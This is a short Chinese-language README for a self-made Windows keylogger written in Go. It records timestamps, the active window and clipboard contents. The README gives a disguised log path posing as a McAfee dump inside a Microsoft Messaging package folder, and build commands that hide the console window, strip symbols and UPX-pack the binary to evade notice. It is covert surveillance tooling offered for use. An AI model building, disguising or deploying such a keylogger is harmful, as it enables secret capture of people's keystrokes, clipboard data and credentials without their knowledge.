说明

网上找了几款键盘记录工具都不好用,遂在其它开源基础上造一个轮子

功能:

  1. 记录时间
  2. 记录当前所在窗口
  3. 记录剪贴板

写得比较仓促缺乏测试,有bug或其它需求欢迎联系本人

记录内容保存在:

C:\Users\[user]\AppData\Local\Packages\Microsoft.Messaging_8wekyb3d8bbwe\Mcafee_dump.tmp

编译方法:

go build -ldflags "-s -w -H=windowsgui" key.go
upx 压缩 :
upx.exe -k -9 windowslogger.exe
